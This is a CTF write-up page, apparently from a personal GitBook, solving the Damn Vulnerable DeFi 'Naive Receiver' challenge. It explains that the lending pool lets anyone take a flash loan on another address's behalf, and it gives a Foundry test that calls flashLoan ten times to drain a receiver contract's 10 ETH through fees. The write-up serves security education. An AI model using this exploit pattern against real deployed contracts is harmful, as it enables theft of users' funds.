ctfwriteup
  • βœ…/home/ret2basic.eth
  • Game Hacking
    • πŸ‘‘Pwn Adventure 3: Pwnie Island
      • βœ…Prep: Speed Hack
      • βœ…Prep: Infinite Health and Mana (Offline)
      • βœ…Prep: Analyze Network Packets with Wireshark
      • Prep: Build a Proxy in Python
      • βœ…Until the Cows Come Home
      • Unbearable Revenge
      • Pirate's Treasure
    • Cheat Engine Tutorial
      • βœ…Step 1: Setup
      • βœ…Step 2: Scan for "Exact Value"
      • βœ…Step 3: Scan for "Unknown initial value"
      • βœ…Step 4: Scan for float and double
      • βœ…Step 5: Replace instruction
      • Step 6: Pointer scanning
      • Step 7: Code injection
      • Step 8: Multilevel pointers
      • Step 9: Shared code
  • Web3 CTF
    • πŸ‘‘Remedy CTF 2025 (Todo)
      • Diamond Heist
      • R vs Q
      • Rich Man's Bet
      • Casino Avengers
      • Frozen Voting
      • Lockdown
      • Proof of Thought
      • Maybe it's unnecessary?
      • Et tu, Permit2?
      • Not a very LUCKY TOKEN
      • risc4
      • HealthCheck as a Service
      • Restricted Proxy
      • Unstable Pool
      • Opaze Whisperer
      • "memorable" onlyOwner
      • World of Memecraft
      • Copy/Paste/Deploy
      • Peer-to-peer-to-me
      • Joe's Lending Mirage
      • Tokemak
      • OFAC Executive Order 13337
    • πŸ‘‘Paradigm CTF 2023 (Todo)
      • Oven
      • Dragon Tyrant
    • Damn Vulnerable DeFi
      • βœ…Unstoppable
      • βœ…Naive Receiver
      • βœ…Truster
      • βœ…Side Entrance
      • βœ…The Rewarder
      • βœ…Selfie
      • βœ…Compromised
      • βœ…Puppet
      • βœ…Puppet V2
      • βœ…Free Rider
      • Backdoor
      • Climber
      • Wallet Mining (Todo)
      • Puppet V3 (Todo)
      • ABI Smuggling (Todo)
    • Milotruck Challs
      • βœ…Greyhats Dollar
      • Escrow
      • Simple AMM Vault
      • Voting Vault
      • βœ…Meta Staking
      • βœ…Gnosis Unsafe
    • Secureum AMAZEX DSS Paris
      • βœ…Operation magic redemption
      • Mission Modern WETH: Rescue the Ether
      • LendEx pool hack
      • Operation Rescue POSI Token!
      • Balloon Vault
      • Safe Yield?
      • βœ…Crystal DAO
      • βœ…Liquidatoooor
    • βœ…Ethernaut
      • βœ…Hello Ethernaut
      • βœ…Fallback
      • βœ…Fallout
      • βœ…Coin Flip
      • βœ…Telephone
      • βœ…Token
      • βœ…Delegation
      • βœ…Force
      • βœ…Vault
      • βœ…King
      • βœ…Re-entrancy
      • βœ…Elevator
      • βœ…Privacy
      • βœ…Gatekeeper One
      • βœ…Gatekeeper Two
      • βœ…Naught Coin
      • βœ…Preservation
      • βœ…Recovery
      • βœ…MagicNumber
      • βœ…Alien Codex
      • βœ…Denial
      • βœ…Shop
      • βœ…DEX
      • βœ…DEX Two
      • βœ…Puzzle Wallet
      • Motorbike
      • DoubleEntryPoint
      • βœ…Good Samaritan
      • Gatekeeper Three
      • Switch
    • βœ…Flashbots MEV-Share CTF
    • βœ…Capture the Ether
      • βœ…Lotteries
      • βœ…Math
      • βœ…Miscellaneous
    • βœ…EVM Puzzles
      • βœ…Puzzle 1
      • βœ…Puzzle 2
      • βœ…Puzzle 3
      • βœ…Puzzle 4
      • βœ…Puzzle 5
      • βœ…Puzzle 6
      • βœ…Puzzle 7
      • βœ…Puzzle 8
      • βœ…Puzzle 9
      • βœ…Puzzle 10
    • βœ…More EVM Puzzles
      • βœ…Puzzle 1
      • βœ…Puzzle 2
      • βœ…Puzzle 3
      • βœ…Puzzle 4
      • βœ…Puzzle 5
      • βœ…Puzzle 6
      • βœ…Puzzle 7
      • βœ…Puzzle 8
      • βœ…Puzzle 9
      • βœ…Puzzle 10
    • βœ…QuillCTF
      • βœ…MetaToken
      • βœ…Temporary Variable
      • KeyCraft
      • βœ…Lottery
      • βœ…Private Club
      • Voting Machine
      • βœ…Predictable NFT
      • βœ…Invest Pool
      • PseudoRandom
      • βœ…Gold NFT
      • Slot Puzzle
      • Moloch's Vault
      • βœ…Donate
      • βœ…WETH-11
      • Panda Token
      • Gate
      • βœ…WETH10
      • βœ…Pelusa
      • βœ…True XOR
      • βœ…Collatz Puzzle
      • βœ…D31eg4t3
      • βœ…Safe NFT
      • βœ…VIP Bank
      • βœ…Confidential Hash
      • βœ…Road Closed
    • βœ…unhacked
      • βœ…reaper
  • RareSkills Puzzles
    • Solidity Exercises
    • Solidity Riddles
    • Yul Puzzles
      • βœ…01 - ReturnBool
      • βœ…02 - SimpleRevert
      • βœ…03 - Return42
      • βœ…04 - RevertWithError
      • βœ…05 - RevertWithSelectorPlusArgs
      • 06 - RevertWithPanic
    • Huff Puzzles
    • Uniswap V2 Puzzles
    • Zero Knowledge Puzzles
  • Web2 CTF
    • Grey Cat CTF 2024
      • βœ…Web Challs
    • pwn.college
      • Introduction
        • What is Computer Systems Security?
      • Program Interaction
        • Linux Command Line
        • 🚩embryoio
      • Program Misuse
        • Privilege Escalation
        • Mitigations
        • 🚩babysuid
      • Assembly Refresher
        • x86 Assembly
        • 🚩embryoasm
      • Shellcoding
        • Introduction
        • Common Challenges
        • Data Execution Prevention
        • 🚩babyshell
      • Sandboxing
        • chroot
        • seccomp
        • Escaping seccomp
        • 🚩babyjail
      • Debugging Refresher
        • x86 Assembly
        • 🚩embryogdb
      • Binary Reverse Engineering
        • Functions and Frames
        • Data Access
        • Static Tools
        • Dynamic Tools
        • Real-world Applications
        • 🚩babyrev
      • Memory Errors
        • High-Level Problems
        • Smashing the Stack
        • Causes of Corruption
        • Canary
        • ASLR
        • Causes of Disclosure
        • 🚩babymem
      • Exploitation
        • Introduction
        • Hijacking to Shellcode
        • Side Effects
        • JIT Spray
        • 🚩toddler1
      • Return Oriented Programming
        • Binary Lego
        • Techniques
        • Complications
        • 🚩babyrop
      • Dynamic Allocator Misuse
        • What is the Heap?
        • Dangers of the Heap
        • tcache
        • Chunks and Metadata
        • Metadata Corruption
        • 🚩babyheap
      • Race Conditions
        • Introduction
        • Races in the Filesystem
        • 🚩babyrace
      • Kernel Security
        • Environment Setup
        • Kernel Modules
        • Privilege Escalation
        • 🚩babykernel
      • Advanced Exploitation
        • toddler2
    • pwnable.kr
      • fd
      • collision
      • bof
      • flag
      • passcode
      • random
      • input
      • leg
      • mistake
      • shellshock
      • coin1
      • blackjack
      • lotto
      • cmd1
      • cmd2
      • uaf
      • memcpy
      • asm
      • unlink
      • blukat
      • horcruxes
    • ROP Emporium
      • ret2win
      • split
      • callme
      • write4
      • pivot
    • βœ…Jarvis OJ Pwn Xman Series
    • βœ…Jarvis OJ Crypto RSA Series
    • βœ…picoMini by redpwn
      • Binary Exploitation
      • Reverse Engineering
      • Cryptography
      • Web Exploitation
      • Forensics
    • βœ…picoCTF 2021
      • Reverse Engineering
      • Web Exploitation
      • Forensics
    • βœ…picoCTF 2020 Mini-Competition
  • Red Teaming
    • vulnlab
      • Active Directory Chains
        • βœ…Trusted (Easy)
        • Hybrid (Easy)
        • Lustrous (Medium)
        • Reflection (Medium)
        • Intercept (Hard)
      • Red Team Labs
        • Wutai (Medium)
        • Shinra (Hard)
    • Hack The Box
      • AD
        • Intelligence
        • Pivotapi
        • Sharp
        • Monteverde
        • Resolute
        • Endgame: P.O.O.
        • Forest
        • Sauna
        • Active
        • Blackfield
      • βœ…Linux
        • βœ…Safe (Easy)
        • βœ…Delivery (Easy)
        • βœ…TheNotebook (Medium)
        • βœ…Brainfuck (Insane)
    • TCM Windows Privilege Escalation Course
      • βœ…Hack The Box - Chatterbox (Medium)
      • Hack The Box - SecNotes (Medium)
    • βœ…TCM Linux Privilege Escalation Course
      • βœ…TryHackMe - Simple CTF (Easy)
      • βœ…TryHackMe - Vulnversity (Easy)
      • βœ…TryHackMe - CMesS (Medium)
      • βœ…TryHackMe - UltraTech (Medium)
      • βœ…TryHackMe - LazyAdmin (Easy)
      • βœ…TryHackMe - Anonymous (Medium)
      • βœ…TryHackMe - tomghost (Easy)
      • βœ…TryHackMe - ConvertMyVideo (Medium)
      • βœ…TryHackMe - Brainpan 1 (Hard)
Powered by GitBook
On this page
  • Objective
  • TL;DR
  • Code Audit
  • Building PoC
  1. Web3 CTF
  2. Damn Vulnerable DeFi

Naive Receiver

Objective

There's a pool with 1000 ETH in balance, offering flash loans. It has a fixed fee of 1 ETH.

A user has deployed a contract with 10 ETH in balance. It’s capable of interacting with the pool and receiving flash loans of ETH.

Take all ETH out of the user's contract. If possible, in a single transaction.

TL;DR

The flashloan pool charges 1 ETH service fee for each flashloan request. The borrower parameter can be anyone, therefore we can force some other address to borrow flashloan repetitively and drain the fund of that address.

Code Audit

The first thing we see is the unusual flash loan fee:

uint256 private constant FIXED_FEE = 1 ether; // not the cheapest flash loan

If we can charge the user 10 times, then user's fund will be drained.

The NaiveReceiverLenderPool.flashLoan() function has some issues:

    function flashLoan(address borrower, uint256 borrowAmount) external nonReentrant {
        uint256 balanceBefore = address(this).balance;
        if (balanceBefore < borrowAmount) revert NotEnoughETHInPool();
        if (!borrower.isContract()) revert BorrowerMustBeADeployedContract();

        // Transfer ETH and handle control to receiver
        borrower.functionCallWithValue(abi.encodeWithSignature("receiveEther(uint256)", FIXED_FEE), borrowAmount);

        if (address(this).balance < balanceBefore + FIXED_FEE) {
            revert FlashLoanHasNotBeenPaidBack();
        }
    }

This function does not verify if borrower == msg.sender, so anyone can call this function on behalf of another user. Recall that the flash loan is extremely high, so we have a good chance here to drain user's fund.

Moreover, note that there is nothing stops us from calling flashLoan() multiple times. How is the flash loan fee handled in such case? Take a look at FlashLoanReceiver.receiveEther():

    function receiveEther(uint256 fee) public payable {
        if (msg.sender != pool) revert SenderMustBePool();

        uint256 amountToBeRepaid = msg.value + fee;

        if (address(this).balance < amountToBeRepaid) {
            revert CannotBorrowThatMuch();
        }

        _executeActionDuringFlashLoan();

        // Return funds to pool
        pool.sendValue(amountToBeRepaid);
    }

We see that the fee is added linearly. That means 1 flash loan costs 1 ETH, 2 flash loans cost 2 ETH, and so on. To drain user's fund, we can run 10 flash loans consecutively.

Building PoC

Borrow flashloan on behalf of flashLoanReceiver to drain its fund via the fee:

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;

import {Utilities} from "../../utils/Utilities.sol";
import "forge-std/Test.sol";

import {FlashLoanReceiver} from "../../../src/Contracts/naive-receiver/FlashLoanReceiver.sol";
import {NaiveReceiverLenderPool} from "../../../src/Contracts/naive-receiver/NaiveReceiverLenderPool.sol";

contract NaiveReceiver is Test {
    uint256 internal constant ETHER_IN_POOL = 1_000e18;
    uint256 internal constant ETHER_IN_RECEIVER = 10e18;

    Utilities internal utils;
    NaiveReceiverLenderPool internal naiveReceiverLenderPool;
    FlashLoanReceiver internal flashLoanReceiver;
    address payable internal user;
    address payable internal attacker;

    function setUp() public {
        utils = new Utilities();
        address payable[] memory users = utils.createUsers(2);
        user = users[0];
        attacker = users[1];

        vm.label(user, "User");
        vm.label(attacker, "Attacker");

        naiveReceiverLenderPool = new NaiveReceiverLenderPool();
        vm.label(address(naiveReceiverLenderPool), "Naive Receiver Lender Pool");
        vm.deal(address(naiveReceiverLenderPool), ETHER_IN_POOL);

        assertEq(address(naiveReceiverLenderPool).balance, ETHER_IN_POOL);
        assertEq(naiveReceiverLenderPool.fixedFee(), 1e18);

        flashLoanReceiver = new FlashLoanReceiver(
            payable(naiveReceiverLenderPool)
        );
        vm.label(address(flashLoanReceiver), "Flash Loan Receiver");
        vm.deal(address(flashLoanReceiver), ETHER_IN_RECEIVER);

        assertEq(address(flashLoanReceiver).balance, ETHER_IN_RECEIVER);

        console.log(unicode"🧨 Let's see if you can break it... 🧨");
    }

    function testExploit() public {
        /**
         * EXPLOIT START *
         */
        vm.startPrank(attacker);
        for (int i = 0; i < 10; i++) {
            naiveReceiverLenderPool.flashLoan(address(flashLoanReceiver), 0);
        }
        /**
         * EXPLOIT END *
         */
        validation();
        console.log(unicode"\nπŸŽ‰ Congratulations, you can go to the next level! πŸŽ‰");
    }

    function validation() internal {
        // All ETH has been drained from the receiver
        assertEq(address(flashLoanReceiver).balance, 0);
        assertEq(address(naiveReceiverLenderPool).balance, ETHER_IN_POOL + ETHER_IN_RECEIVER);
    }
}
PreviousUnstoppableNextTruster

Last updated 1 year ago

βœ